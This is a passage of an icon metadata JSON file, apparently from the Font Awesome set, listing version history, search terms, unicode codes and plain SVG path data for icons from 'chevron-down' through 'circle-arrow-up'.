        "path": "M80 80V192c0 2.5 1.2 4.9 3.2 6.4l51.2 38.4c6.8 5.1 10.4 13.4 9.5 21.9L133.5 352H85.2l9.4-85L54.4 236.8C40.3 226.2 32 209.6 32 192V72c0-22.1 17.9-40 40-40H376c22.1 0 40 17.9 40 40V192c0 17.6-8.3 34.2-22.4 44.8L353.4 267l9.4 85H314.5l-10.4-93.3c-.9-8.4 2.7-16.8 9.5-21.9l51.2-38.4c2-1.5 3.2-3.9 3.2-6.4V80H304v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V80H192v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V80H80zm4.7 384H363.3l-16.6-32H101.2L84.7 464zm271.9-80c12 0 22.9 6.7 28.4 17.3l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H72.8C50.2 512 32 493.8 32 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C68.5 390.7 79.5 384 91.5 384h265zM208 288c-8.8 0-16-7.2-16-16V224c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 8.8-7.2 16-16 16H208z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chevron-down": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f078"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "download", "expand"]
    },
    "styles": ["solid"],
    "unicode": "f078",
    "label": "Chevron Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M233.4 406.6c12.5 12.5 32.8 12.5 45.3 0l192-192c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L256 338.7 86.6 169.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l192 192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M233.4 406.6c12.5 12.5 32.8 12.5 45.3 0l192-192c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L256 338.7 86.6 169.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l192 192z"
      }
    },
    "free": ["solid"]
  },
  "chevron-left": {
    "aliases": {
      "unicodes": {
        "composite": ["2329"],
        "secondary": ["10f053"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Left-Pointing Angle Bracket",
        "arrow",
        "back",
        "bracket",
        "previous"
      ]
    },
    "styles": ["solid"],
    "unicode": "f053",
    "label": "Chevron Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l192 192c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256 246.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-192 192z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l192 192c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256 246.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-192 192z"
      }
    },
    "free": ["solid"]
  },
  "chevron-right": {
    "aliases": {
      "unicodes": {
        "composite": ["232a"],
        "secondary": ["10f054"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Right-Pointing Angle Bracket",
        "arrow",
        "bracket",
        "forward",
        "next"
      ]
    },
    "styles": ["solid"],
    "unicode": "f054",
    "label": "Chevron Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M310.6 233.4c12.5 12.5 12.5 32.8 0 45.3l-192 192c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 256 73.4 86.6c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l192 192z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M310.6 233.4c12.5 12.5 12.5 32.8 0 45.3l-192 192c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 256 73.4 86.6c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l192 192z"
      }
    },
    "free": ["solid"]
  },
  "chevron-up": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f077"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "collapse", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f077",
    "label": "Chevron Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M233.4 105.4c12.5-12.5 32.8-12.5 45.3 0l192 192c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L256 173.3 86.6 342.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l192-192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M233.4 105.4c12.5-12.5 32.8-12.5 45.3 0l192 192c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L256 173.3 86.6 342.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l192-192z"
      }
    },
    "free": ["solid"]
  },
  "child": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1ae"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.1.1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["boy", "girl", "kid", "toddler", "young", "youth"]
    },
    "styles": ["solid"],
    "unicode": "f1ae",
    "label": "Child",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M96 64a64 64 0 1 1 128 0A64 64 0 1 1 96 64zm48 320v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V287.8L59.1 321c-9.4 15-29.2 19.4-44.1 10S-4.5 301.9 4.9 287l39.9-63.3C69.7 184 113.2 160 160 160s90.3 24 115.2 63.6L315.1 287c9.4 15 4.9 34.7-10 44.1s-34.7 4.9-44.1-10L240 287.8V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H144z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M96 64a64 64 0 1 1 128 0A64 64 0 1 1 96 64zm48 320v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V287.8L59.1 321c-9.4 15-29.2 19.4-44.1 10S-4.5 301.9 4.9 287l39.9-63.3C69.7 184 113.2 160 160 160s90.3 24 115.2 63.6L315.1 287c9.4 15 4.9 34.7-10 44.1s-34.7 4.9-44.1-10L240 287.8V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H144z"
      }
    },
    "free": ["solid"]
  },
  "child-combatant": {
    "aliases": {
      "names": ["child-rifle"]
    },
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["combatant"]
    },
    "styles": ["solid"],
    "unicode": "e4e0",
    "label": "Child Combatant",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M176 128A64 64 0 1 0 176 0a64 64 0 1 0 0 128zm-8 352V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V300.5L260.9 321c9.4 15 29.2 19.4 44.1 10s19.4-29.2 10-44.1l-51.7-82.1c-17.6-27.9-48.3-44.9-81.2-44.9H169.8c-33 0-63.7 16.9-81.2 44.9L36.9 287c-9.4 15-4.9 34.7 10 44.1s34.7 4.9 44.1-10L104 300.5V480c0 17.7 14.3 32 32 32s32-14.3 32-32zM448 0H432 416c-8.8 0-16 7.2-16 16s7.2 16 16 16V132.3c-9.6 5.5-16 15.9-16 27.7v32c-17.7 0-32 14.3-32 32V368c0 17.7 14.3 32 32 32h16v96c0 8.8 7.2 16 16 16h59.5c10.4 0 18-9.8 15.5-19.9L484 400h44c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H480V325.3l53.1-17.7c6.5-2.2 10.9-8.3 10.9-15.2V208c0-8.8-7.2-16-16-16H512c-8.8 0-16 7.2-16 16v56l-16 5.3V160c0-11.8-6.4-22.2-16-27.7V16c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M176 128A64 64 0 1 0 176 0a64 64 0 1 0 0 128zm-8 352V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V300.5L260.9 321c9.4 15 29.2 19.4 44.1 10s19.4-29.2 10-44.1l-51.7-82.1c-17.6-27.9-48.3-44.9-81.2-44.9H169.8c-33 0-63.7 16.9-81.2 44.9L36.9 287c-9.4 15-4.9 34.7 10 44.1s34.7 4.9 44.1-10L104 300.5V480c0 17.7 14.3 32 32 32s32-14.3 32-32zM448 0H432 416c-8.8 0-16 7.2-16 16s7.2 16 16 16V132.3c-9.6 5.5-16 15.9-16 27.7v32c-17.7 0-32 14.3-32 32V368c0 17.7 14.3 32 32 32h16v96c0 8.8 7.2 16 16 16h59.5c10.4 0 18-9.8 15.5-19.9L484 400h44c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H480V325.3l53.1-17.7c6.5-2.2 10.9-8.3 10.9-15.2V208c0-8.8-7.2-16-16-16H512c-8.8 0-16 7.2-16 16v56l-16 5.3V160c0-11.8-6.4-22.2-16-27.7V16c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "child-dress": {
    "changes": ["6.1.1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["boy", "girl", "kid", "toddler", "young", "youth"]
    },
    "styles": ["solid"],
    "unicode": "e59c",
    "label": "Child Dress",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M224 64A64 64 0 1 0 96 64a64 64 0 1 0 128 0zM88 400v80c0 17.7 14.3 32 32 32s32-14.3 32-32V400h16v80c0 17.7 14.3 32 32 32s32-14.3 32-32V400h17.8c10.9 0 18.6-10.7 15.2-21.1l-31.1-93.4 28.6 37.8c10.7 14.1 30.8 16.8 44.8 6.2s16.8-30.7 6.2-44.8L254.6 207c-22.4-29.6-57.5-47-94.6-47s-72.2 17.4-94.6 47L6.5 284.7c-10.7 14.1-7.9 34.2 6.2 44.8s34.2 7.9 44.8-6.2l28.7-37.8L55 378.9C51.6 389.3 59.3 400 70.2 400H88z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M224 64A64 64 0 1 0 96 64a64 64 0 1 0 128 0zM88 400v80c0 17.7 14.3 32 32 32s32-14.3 32-32V400h16v80c0 17.7 14.3 32 32 32s32-14.3 32-32V400h17.8c10.9 0 18.6-10.7 15.2-21.1l-31.1-93.4 28.6 37.8c10.7 14.1 30.8 16.8 44.8 6.2s16.8-30.7 6.2-44.8L254.6 207c-22.4-29.6-57.5-47-94.6-47s-72.2 17.4-94.6 47L6.5 284.7c-10.7 14.1-7.9 34.2 6.2 44.8s34.2 7.9 44.8-6.2l28.7-37.8L55 378.9C51.6 389.3 59.3 400 70.2 400H88z"
      }
    },
    "free": ["solid"]
  },
  "child-reaching": {
    "changes": ["6.1.1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["boy", "girl", "kid", "toddler", "young", "youth"]
    },
    "styles": ["solid"],
    "unicode": "e59d",
    "label": "Child Reaching",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M256 64A64 64 0 1 0 128 64a64 64 0 1 0 128 0zM152.9 169.3c-23.7-8.4-44.5-24.3-58.8-45.8L74.6 94.2C64.8 79.5 45 75.6 30.2 85.4s-18.7 29.7-8.9 44.4L40.9 159c18.1 27.1 42.8 48.4 71.1 62.4V480c0 17.7 14.3 32 32 32s32-14.3 32-32V384h32v96c0 17.7 14.3 32 32 32s32-14.3 32-32V221.6c29.1-14.2 54.4-36.2 72.7-64.2l18.2-27.9c9.6-14.8 5.4-34.6-9.4-44.3s-34.6-5.5-44.3 9.4L291 122.4c-21.8 33.4-58.9 53.6-98.8 53.6c-12.6 0-24.9-2-36.6-5.8c-.9-.3-1.8-.7-2.7-.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M256 64A64 64 0 1 0 128 64a64 64 0 1 0 128 0zM152.9 169.3c-23.7-8.4-44.5-24.3-58.8-45.8L74.6 94.2C64.8 79.5 45 75.6 30.2 85.4s-18.7 29.7-8.9 44.4L40.9 159c18.1 27.1 42.8 48.4 71.1 62.4V480c0 17.7 14.3 32 32 32s32-14.3 32-32V384h32v96c0 17.7 14.3 32 32 32s32-14.3 32-32V221.6c29.1-14.2 54.4-36.2 72.7-64.2l18.2-27.9c9.6-14.8 5.4-34.6-9.4-44.3s-34.6-5.5-44.3 9.4L291 122.4c-21.8 33.4-58.9 53.6-98.8 53.6c-12.6 0-24.9-2-36.6-5.8c-.9-.3-1.8-.7-2.7-.9z"
      }
    },
    "free": ["solid"]
  },
  "children": {
    "changes": ["6.1.0", "6.1.1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["boy", "child", "girl", "kid", "kids", "young", "youth"]
    },
    "styles": ["solid"],
    "unicode": "e4e1",
    "label": "Children",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M160 0a64 64 0 1 1 0 128A64 64 0 1 1 160 0zM88 480V400H70.2c-10.9 0-18.6-10.7-15.2-21.1l31.1-93.4L57.5 323.3c-10.7 14.1-30.8 16.8-44.8 6.2s-16.8-30.7-6.2-44.8L65.4 207c22.4-29.6 57.5-47 94.6-47s72.2 17.4 94.6 47l58.9 77.7c10.7 14.1 7.9 34.2-6.2 44.8s-34.2 7.9-44.8-6.2l-28.6-37.8L265 378.9c3.5 10.4-4.3 21.1-15.2 21.1H232v80c0 17.7-14.3 32-32 32s-32-14.3-32-32V400H152v80c0 17.7-14.3 32-32 32s-32-14.3-32-32zM480 0a64 64 0 1 1 0 128A64 64 0 1 1 480 0zm-8 384v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V300.5L395.1 321c-9.4 15-29.2 19.4-44.1 10s-19.4-29.2-10-44.1l51.7-82.1c17.6-27.9 48.3-44.9 81.2-44.9h12.3c33 0 63.7 16.9 81.2 44.9L619.1 287c9.4 15 4.9 34.7-10 44.1s-34.7 4.9-44.1-10L552 300.5V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H472z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M160 0a64 64 0 1 1 0 128A64 64 0 1 1 160 0zM88 480V400H70.2c-10.9 0-18.6-10.7-15.2-21.1l31.1-93.4L57.5 323.3c-10.7 14.1-30.8 16.8-44.8 6.2s-16.8-30.7-6.2-44.8L65.4 207c22.4-29.6 57.5-47 94.6-47s72.2 17.4 94.6 47l58.9 77.7c10.7 14.1 7.9 34.2-6.2 44.8s-34.2 7.9-44.8-6.2l-28.6-37.8L265 378.9c3.5 10.4-4.3 21.1-15.2 21.1H232v80c0 17.7-14.3 32-32 32s-32-14.3-32-32V400H152v80c0 17.7-14.3 32-32 32s-32-14.3-32-32zM480 0a64 64 0 1 1 0 128A64 64 0 1 1 480 0zm-8 384v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V300.5L395.1 321c-9.4 15-29.2 19.4-44.1 10s-19.4-29.2-10-44.1l51.7-82.1c17.6-27.9 48.3-44.9 81.2-44.9h12.3c33 0 63.7 16.9 81.2 44.9L619.1 287c9.4 15 4.9 34.7-10 44.1s-34.7 4.9-44.1-10L552 300.5V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H472z"
      }
    },
    "free": ["solid"]
  },
  "chrome": {
    "changes": ["4.4.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["browser"]
    },
    "styles": ["brands"],
    "unicode": "f268",
    "label": "Chrome",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256C0 209.4 12.47 165.6 34.27 127.1L144.1 318.3C166 357.5 207.9 384 256 384C270.3 384 283.1 381.7 296.8 377.4L220.5 509.6C95.9 492.3 0 385.3 0 256zM365.1 321.6C377.4 302.4 384 279.1 384 256C384 217.8 367.2 183.5 340.7 160H493.4C505.4 189.6 512 222.1 512 256C512 397.4 397.4 511.1 256 512L365.1 321.6zM477.8 128H256C193.1 128 142.3 172.1 130.5 230.7L54.19 98.47C101 38.53 174 0 256 0C350.8 0 433.5 51.48 477.8 128V128zM168 256C168 207.4 207.4 168 256 168C304.6 168 344 207.4 344 256C344 304.6 304.6 344 256 344C207.4 344 168 304.6 168 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256C0 209.4 12.47 165.6 34.27 127.1L144.1 318.3C166 357.5 207.9 384 256 384C270.3 384 283.1 381.7 296.8 377.4L220.5 509.6C95.9 492.3 0 385.3 0 256zM365.1 321.6C377.4 302.4 384 279.1 384 256C384 217.8 367.2 183.5 340.7 160H493.4C505.4 189.6 512 222.1 512 256C512 397.4 397.4 511.1 256 512L365.1 321.6zM477.8 128H256C193.1 128 142.3 172.1 130.5 230.7L54.19 98.47C101 38.53 174 0 256 0C350.8 0 433.5 51.48 477.8 128V128zM168 256C168 207.4 207.4 168 256 168C304.6 168 344 207.4 344 256C344 304.6 304.6 344 256 344C207.4 344 168 304.6 168 256z"
      }
    },
    "free": ["brands"]
  },
  "chromecast": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f838",
    "label": "Chromecast",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z"
      }
    },
    "free": ["brands"]
  },
  "church": {
    "aliases": {
      "unicodes": {
        "composite": ["26ea"],
        "secondary": ["10f51d"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Christian",
        "building",
        "cathedral",
        "chapel",
        "church",
        "community",
        "cross",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f51d",
    "label": "Church",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M344 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V48H264c-13.3 0-24 10.7-24 24s10.7 24 24 24h32v46.4L183.3 210c-14.5 8.7-23.3 24.3-23.3 41.2V512h96V416c0-35.3 28.7-64 64-64s64 28.7 64 64v96h96V251.2c0-16.9-8.8-32.5-23.3-41.2L344 142.4V96h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V24zM24.9 330.3C9.5 338.8 0 354.9 0 372.4V464c0 26.5 21.5 48 48 48h80V273.6L24.9 330.3zM592 512c26.5 0 48-21.5 48-48V372.4c0-17.5-9.5-33.6-24.9-42.1L512 273.6V512h80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M344 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V48H264c-13.3 0-24 10.7-24 24s10.7 24 24 24h32v46.4L183.3 210c-14.5 8.7-23.3 24.3-23.3 41.2V512h96V416c0-35.3 28.7-64 64-64s64 28.7 64 64v96h96V251.2c0-16.9-8.8-32.5-23.3-41.2L344 142.4V96h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V24zM24.9 330.3C9.5 338.8 0 354.9 0 372.4V464c0 26.5 21.5 48 48 48h80V273.6L24.9 330.3zM592 512c26.5 0 48-21.5 48-48V372.4c0-17.5-9.5-33.6-24.9-42.1L512 273.6V512h80z"
      }
    },
    "free": ["solid"]
  },
  "circle": {
    "aliases": {
      "unicodes": {
        "composite": [
          "1f534",
          "1f535",
          "1f7e0",
          "1f7e1",
          "1f7e2",
          "1f7e3",
          "1f7e4",
          "25cf",
          "26aa",
          "26ab",
          "2b24",
          "f10c",
          "f1db"
        ],
        "secondary": ["10f111"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Circle",
        "Black Large Circle",
        "black circle",
        "blue",
        "blue circle",
        "brown",
        "brown circle",
        "chart",
        "circle",
        "circle-thin",
        "diameter",
        "dot",
        "ellipse",
        "fill",
        "geometric",
        "green",
        "green circle",
        "notification",
        "orange",
        "orange circle",
        "progress",
        "purple",
        "purple circle",
        "red",
        "red circle",
        "round",
        "white circle",
        "yellow",
        "yellow circle"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f111",
    "label": "Circle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-arrow-down": {
    "aliases": {
      "names": ["arrow-circle-down"],
      "unicodes": {
        "secondary": ["10f0ab"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["download"]
    },
    "styles": ["solid"],
    "unicode": "f0ab",
    "label": "Circle Arrow Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM127 281c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l71 71L232 136c0-13.3 10.7-24 24-24s24 10.7 24 24l0 182.1 71-71c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L273 393c-9.4 9.4-24.6 9.4-33.9 0L127 281z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM127 281c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l71 71L232 136c0-13.3 10.7-24 24-24s24 10.7 24 24l0 182.1 71-71c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L273 393c-9.4 9.4-24.6 9.4-33.9 0L127 281z"
      }
    },
    "free": ["solid"]
  },
  "circle-arrow-left": {
    "aliases": {
      "names": ["arrow-circle-left"],
      "unicodes": {
        "secondary": ["10f0a8"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["back", "previous"]
    },
    "styles": ["solid"],
    "unicode": "f0a8",
    "label": "Circle Arrow Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM231 127c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-71 71L376 232c13.3 0 24 10.7 24 24s-10.7 24-24 24l-182.1 0 71 71c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L119 273c-9.4-9.4-9.4-24.6 0-33.9L231 127z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM231 127c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-71 71L376 232c13.3 0 24 10.7 24 24s-10.7 24-24 24l-182.1 0 71 71c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L119 273c-9.4-9.4-9.4-24.6 0-33.9L231 127z"
      }
    },
    "free": ["solid"]
  },
  "circle-arrow-right": {
    "aliases": {
      "names": ["arrow-circle-right"],
      "unicodes": {
        "secondary": ["10f0a9"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["forward", "next"]
    },
    "styles": ["solid"],
    "unicode": "f0a9",
    "label": "Circle Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM281 385c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l71-71L136 280c-13.3 0-24-10.7-24-24s10.7-24 24-24l182.1 0-71-71c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L393 239c9.4 9.4 9.4 24.6 0 33.9L281 385z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM281 385c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l71-71L136 280c-13.3 0-24-10.7-24-24s10.7-24 24-24l182.1 0-71-71c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L393 239c9.4 9.4 9.4 24.6 0 33.9L281 385z"
      }
    },
    "free": ["solid"]
  },
  "circle-arrow-up": {
    "aliases": {
      "names": ["arrow-circle-up"],
      "unicodes": {
        "secondary": ["10f0aa"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["upload"]
    },
    "styles": ["solid"],
    "unicode": "f0aa",
    "label": "Circle Arrow Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
